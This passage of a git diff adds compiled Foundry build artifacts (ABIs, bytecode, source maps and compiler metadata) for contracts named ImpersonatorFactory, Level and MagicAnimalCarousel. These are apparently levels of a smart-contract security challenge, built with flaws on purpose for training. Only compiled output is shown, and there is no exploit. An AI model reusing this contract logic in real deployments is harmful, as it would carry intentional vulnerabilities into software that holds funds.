//5e8cd600975c8af9f82a6c16e9e1bec2f16dcfe6a4a41f88d3a27caeed579a74\",\"dweb:/ipfs/QmSpDVnKmEmWcrZbZ8magZbXP864SkzMMn3L7c87Bgc7Ex\"]},\"src/levels/ImpersonatorFactory.sol\":{\"keccak256\":\"0x27755d9d69882979e6e380381e46d2c1ea9d926c13ba8b1a5d4a1740b566db05\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://b1d0e9a61720a8da0c5bb2c3217e9a805f41e1fa099f39ca07e1bd71ef792eff\",\"dweb:/ipfs/QmZRpWxmWHnNSSvvPkX8r2bkxDkb6QoSs53QHNqPAFJYzi\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.28+commit.7893614a"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/ImpersonatorFactory.sol":"ImpersonatorFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Impersonator.sol":{"keccak256":"0x56cf85fb2968955c0d12a233f597108a5c499694ec0fb1b3133f616ca0fae30c","urls":["bzz-raw://5e8cd600975c8af9f82a6c16e9e1bec2f16dcfe6a4a41f88d3a27caeed579a74","dweb:/ipfs/QmSpDVnKmEmWcrZbZ8magZbXP864SkzMMn3L7c87Bgc7Ex"],"license":"MIT"},"src/levels/ImpersonatorFactory.sol":{"keccak256":"0x27755d9d69882979e6e380381e46d2c1ea9d926c13ba8b1a5d4a1740b566db05","urls":["bzz-raw://b1d0e9a61720a8da0c5bb2c3217e9a805f41e1fa099f39ca07e1bd71ef792eff","dweb:/ipfs/QmZRpWxmWHnNSSvvPkX8r2bkxDkb6QoSs53QHNqPAFJYzi"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"id":3}
\ No newline at end of file
diff --git a/contracts/out/Level.sol/Level.0.8.28.json b/contracts/out/Level.sol/Level.0.8.28.json
new file mode 100644
index 000000000..8770bd6b5
--- /dev/null
+++ b/contracts/out/Level.sol/Level.0.8.28.json
@@ -0,0 +1 @@
+{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.28+commit.7893614a\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/base/Level.sol\":\"Level\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.28+commit.7893614a"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/base/Level.sol":"Level"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"id":4}
\ No newline at end of file
diff --git a/contracts/out/MagicAnimalCarousel.sol/MagicAnimalCarousel.json b/contracts/out/MagicAnimalCarousel.sol/MagicAnimalCarousel.json
new file mode 100644
index 000000000..01b7a0d77
--- /dev/null
+++ b/contracts/out/MagicAnimalCarousel.sol/MagicAnimalCarousel.json
@@ -0,0 +1 @@
+{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"MAX_CAPACITY","inputs":[],"outputs":[{"name":"","type":"uint16","internalType":"uint16"}],"stateMutability":"view"},{"type":"function","name":"carousel","inputs":[{"name":"crateId","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"animalInside","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"changeAnimal","inputs":[{"name":"animal","type":"string","internalType":"string"},{"name":"crateId","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"currentCrateId","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"encodeAnimalName","inputs":[{"name":"animalName","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"setAnimalAndSpin","inputs":[{"name":"animal","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"error","name":"AnimalNameTooLong","inputs":[]},{"type":"error","name":"InvalidCarouselId","inputs":[]}],"bytecode":{"object":"0x6080604052348015600e575f5ffd5b505f805260016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb498054600160a01b1890556104768061004f5f395ff3fe608060405234801561000f575f5ffd5b506004361061006f575f3560e01c8063932289cc1161004d578063932289cc146100bd57806393684bd4146100d2578063ab3b9224146100f1575f5ffd5b806326bad99e146100735780633a5ddf301461008e57806376997b75146100aa575b5f5ffd5b61007b5f5481565b6040519081526020015b60405180910390f35b61009761ffff81565b60405161ffff9091168152602001610085565b61007b6100b836600461032f565b610104565b6100d06100cb36600461036e565b61015f565b005b61007b6100e03660046103b6565b60016020525f908152604090205481565b6100d06100ff36600461032f565b610230565b5f600c82111561012757604051630b3d107360e01b815260040160405180910390fd5b60a0838360405160200161013c9291906103cd565b604051602081830303815290604052610154906103dc565b901c90505b92915050565b5f8181526001602052604090205473ffffffffffffffffffffffffffffffffffffffff1680156101aa573373ffffffffffffffffffffffffffffffffffffffff8216146101aa575f5ffd5b5f6101b58585610104565b905080156101f5575f83815260016020526040902080543375ffff000000000000000000000000000000000000000090911660a084901b17179055610229565b5f83815260016020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001690555b5050505050565b5f601061023d8484610104565b5f8054815260016020526040902054911c915060a01c61ffff1669ffffffffffffffffffff82111561028257604051630b3d107360e01b815260040160405180910390fd5b3360a061ffff610293846001610402565b61029d9190610421565b5f84815260016020526040812080547fffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff1660b09790971b969096189190921b179190911790925590555050565b5f5f83601f8401126102fa575f5ffd5b50813567ffffffffffffffff811115610311575f5ffd5b602083019150836020828501011115610328575f5ffd5b9250929050565b5f5f60208385031215610340575f5ffd5b823567ffffffffffffffff811115610356575f5ffd5b610362858286016102ea565b90969095509350505050565b5f5f5f60408486031215610380575f5ffd5b833567ffffffffffffffff811115610396575f5ffd5b6103a2868287016102ea565b909790965060209590950135949350505050565b5f602082840312156103c6575f5ffd5b5035919050565b818382375f9101908152919050565b805160208083015191908110156103fc575f198160200360031b1b821691505b50919050565b8082018082111561015957634e487b7160e01b5f52601160045260245ffd5b5f8261043b57634e487b7160e01b5f52601260045260245ffd5b50069056fea26469706673582212202b77bb2d0bcfdd47de499a5624f573379292b0c12cc5d6659d8fe015ef0e534164736f6c634300081c0033","sourceMap":"58:1969:2:-:0;;;529:54;;;;;;;;;-1:-1:-1;553:11:2;;;:8;:11;;;:23;;-1:-1:-1;;;553:23:2;;;58:1969;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f5ffd5b506004361061006f575f3560e01c8063932289cc1161004d578063932289cc146100bd57806393684bd4146100d2578063ab3b9224146100f1575f5ffd5b806326bad99e146100735780633a5ddf301461008e57806376997b75146100aa575b5f5ffd5b61007b5f5481565b6040519081526020015b60405180910390f35b61009761ffff81565b60405161ffff9091168152602001610085565b61007b6100b836600461032f565b610104565b6100d06100cb36600461036e565b61015f565b005b61007b6100e03660046103b6565b60016020525f908152604090205481565b6100d06100ff36600461032f565b610230565b5f600c82111561012757604051630b3d107360e01b815260040160405180910390fd5b60a0838360405160200161013c9291906103cd565b604051602081830303815290604052610154906103dc565b901c90505b92915050565b5f8181526001602052604090205473ffffffffffffffffffffffffffffffffffffffff1680156101aa573373ffffffffffffffffffffffffffffffffffffffff8216146101aa575f5ffd5b5f6101b58585610104565b905080156101f5575f83815260016020526040902080543375ffff000000000000000000000000000000000000000090911660a084901b17179055610229565b5f83815260016020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001690555b5050505050565b5f601061023d8484610104565b5f8054815260016020526040902054911c915060a01c61ffff1669ffffffffffffffffffff82111561028257604051630b3d107360e01b815260040160405180910390fd5b3360a061ffff610293846001610402565b61029d9190610421565b5f84815260016020526040812080547fffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff1660b09790971b969096189190921b179190911790925590555050565b5f5f83601f8401126102fa575f5ffd5b50813567ffffffffffffffff811115610311575f5ffd5b602083019150836020828501011115610328575f5ffd5b9250929050565b5f5f60208385031215610340575f5ffd5b823567ffffffffffffffff811115610356575f5ffd5b610362858286016102ea565b90969095509350505050565b5f5f5f60408486031215610380575f5ffd5b833567ffffffffffffffff811115610396575f5ffd5b6103a2868287016102ea565b909790965060209590950135949350505050565b5f602082840312156103c6575f5ffd5b5035919050565b818382375f9101908152919050565b805160208083015191908110156103fc575f198160200360031b1b821691505b50919050565b8082018082111561015957634e487b7160e01b5f52601160045260245ffd5b5f8261043b57634e487b7160e01b5f52601260045260245ffd5b50069056fea26469706673582212202b77bb2d0bcfdd47de499a5624f573379292b0c12cc5d6659d8fe015ef0e534164736f6c634300081c0033","sourceMap":"58:1969:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;360:29;;;;;;;;;160:25:5;;;148:2;133:18;360:29:2;;;;;;;;93:54;;131:16;93:54;;;;;370:6:5;358:19;;;340:38;;328:2;313:18;93:54:2;196:188:5;1794:231:2;;;;;;:::i;:::-;;:::i;1108:680::-;;;;;;:::i;:::-;;:::i;:::-;;395:64;;;;;;:::i;:::-;;;;;;;;;;;;;;589:513;;;;;;:::i;:::-;;:::i;1794:231::-;1869:7;1924:2;1896:30;;;1888:60;;;;-1:-1:-1;;;1888:60:2;;;;;;;;;;;;2014:3;1998:10;;1981:28;;;;;;;;;:::i;:::-;;;;;;;;;;;;;1973:37;;;:::i;:::-;:44;;;-1:-1:-1;1794:231:2;;;;;:::o;1108:680::-;1190:13;1222:17;;;:8;:17;;;;;;335;1222:30;1268:19;;1264:78;;1311:10;:19;;;;1303:28;;;;;;1351:21;1375:24;1392:6;;1375:16;:24::i;:::-;1351:48;-1:-1:-1;1413:18:2;;1409:373;;1539:17;;;;:8;:17;;;;;;;1583:10;259:32;1539;;;288:3;1514:20;;;1513:59;:81;1477:117;;1409:373;;;1722:17;;;;:8;:17;;;;;;;1743:26;1722:48;1702:69;;1409:373;1180:608;;1108:680;;;:::o;589:513::-;658:21;710:2;682:24;699:6;;682:16;:24::i;:::-;722:19;754:14;;745:24;;:8;:24;;;;;;682:30;;;-1:-1:-1;789:3:2;744:48;267:16;744:48;836:16;811:42;;;803:72;;;;-1:-1:-1;;;803:72:2;;;;;;;;;;;;1045:10;1031:3;131:16;995:15;:11;1009:1;995:15;:::i;:::-;994:32;;;;:::i;:::-;910:21;;;;:8;:21;;;;;;;934:13;910:37;969:8;952:25;;;;909:69;;;;993:41;;;;909:125;:147;;;;885:171;;;1067:28;;-1:-1:-1;;589:513:2:o;389:348:5:-;441:8;451:6;505:3;498:4;490:6;486:17;482:27;472:55;;523:1;520;513:12;472:55;-1:-1:-1;546:20:5;;589:18;578:30;;575:50;;;621:1;618;611:12;575:50;658:4;650:6;646:17;634:29;;710:3;703:4;694:6;686;682:19;678:30;675:39;672:59;;;727:1;724;717:12;672:59;389:348;;;;;:::o;742:411::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;930:9;917:23;963:18;955:6;952:30;949:50;;;995:1;992;985:12;949:50;1034:59;1085:7;1076:6;1065:9;1061:22;1034:59;:::i;:::-;1112:8;;1008:85;;-1:-1:-1;742:411:5;-1:-1:-1;;;;742:411:5:o;1158:525::-;1238:6;1246;1254;1307:2;1295:9;1286:7;1282:23;1278:32;1275:52;;;1323:1;1320;1313:12;1275:52;1363:9;1350:23;1396:18;1388:6;1385:30;1382:50;;;1428:1;1425;1418:12;1382:50;1467:59;1518:7;1509:6;1498:9;1494:22;1467:59;:::i;:::-;1545:8;;1441:85;;-1:-1:-1;1649:2:5;1634:18;;;;1621:32;;1158:525;-1:-1:-1;;;;1158:525:5:o;1688:226::-;1747:6;1800:2;1788:9;1779:7;1775:23;1771:32;1768:52;;;1816:1;1813;1806:12;1768:52;-1:-1:-1;1861:23:5;;1688:226;-1:-1:-1;1688:226:5:o;1919:273::-;2104:6;2096;2091:3;2078:33;2060:3;2130:16;;2155:13;;;2130:16;1919:273;-1:-1:-1;1919:273:5:o;2197:297::-;2315:12;;2362:4;2351:16;;;2345:23;;2315:12;2380:16;;2377:111;;;2474:1;2470:6;2460;2454:4;2450:17;2447:1;2443:25;2439:38;2432:5;2428:50;2419:59;;2377:111;;2197:297;;;:::o;2499:279::-;2564:9;;;2585:10;;;2582:190;;;-1:-1:-1;;;2625:1:5;2618:88;2729:4;2726:1;2719:15;2757:4;2754:1;2747:15;2783:266;2815:1;2841;2831:189;;-1:-1:-1;;;2873:1:5;2866:88;2977:4;2974:1;2967:15;3005:4;3002:1;2995:15;2831:189;-1:-1:-1;3034:9:5;;2783:266::o","linkReferences":{}},"methodIdentifiers":{"MAX_CAPACITY()":"3a5ddf30","carousel(uint256)":"93684bd4","changeAnimal(string,uint256)":"932289cc","currentCrateId()":"26bad99e","encodeAnimalName(string)":"76997b75","setAnimalAndSpin(string)":"ab3b9224"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.28+commit.7893614a\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"AnimalNameTooLong\",\"type\":\"error\"},{\"inputs\":[],\"name\":\"InvalidCarouselId\",\"type\":\"error\"},{\"inputs\":[],\"name\":\"MAX_CAPACITY\",\"outputs\":[{\"internalType\":\"uint16\",\"name\":\"\",\"type\":\"uint16\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"crateId\",\"type\":\"uint256\"}],\"name\":\"carousel\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"animalInside\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"animal\",\"type\":\"string\"},{\"internalType\":\"uint256\",\"name\":\"crateId\",\"type\":\"uint256\"}],\"name\":\"changeAnimal\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"currentCrateId\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"animalName\",\"type\":\"string\"}],\"name\":\"encodeAnimalName\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"animal\",\"type\":\"string\"}],\"name\":\"setAnimalAndSpin\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/MagicAnimalCarousel.sol\":\"MagicAnimalCarousel\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/MagicAnimalCarousel.sol\":{\"keccak256\":\"0xa6d06a3605347ff0aa528e9a4199a69d9beb9dd040455047eccd185c27971f87\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9604bd65b2ebf3d09fa81a2f83740b25fdc2d142c0185026e3daafe53bb0f18d\",\"dweb:/ipfs/Qmd6kt3opASsMgFLxm8eRR7sdKQTDuknM18CFZH6pWtwfd\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.28+commit.7893614a"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"type":"error","name":"AnimalNameTooLong"},{"inputs":[],"type":"error","name":"InvalidCarouselId"},{"inputs":[],"stateMutability":"view","type":"function","name":"MAX_CAPACITY","outputs":[{"internalType":"uint16","name":"","type":"uint16"}]},{"inputs":[{"internalType":"uint256","name":"crateId","type":"uint256"}],"stateMutability":"view","type":"function","name":"carousel","outputs":[{"internalType":"uint256","name":"animalInside","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"animal","type":"string"},{"internalType":"uint256","name":"crateId","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"changeAnimal"},{"inputs":[],"stateMutability":"view","type":"function","name":"currentCrateId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"animalName","type":"string"}],"stateMutability":"pure","type":"function","name":"encodeAnimalName","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"animal","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"setAnimalAndSpin"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppel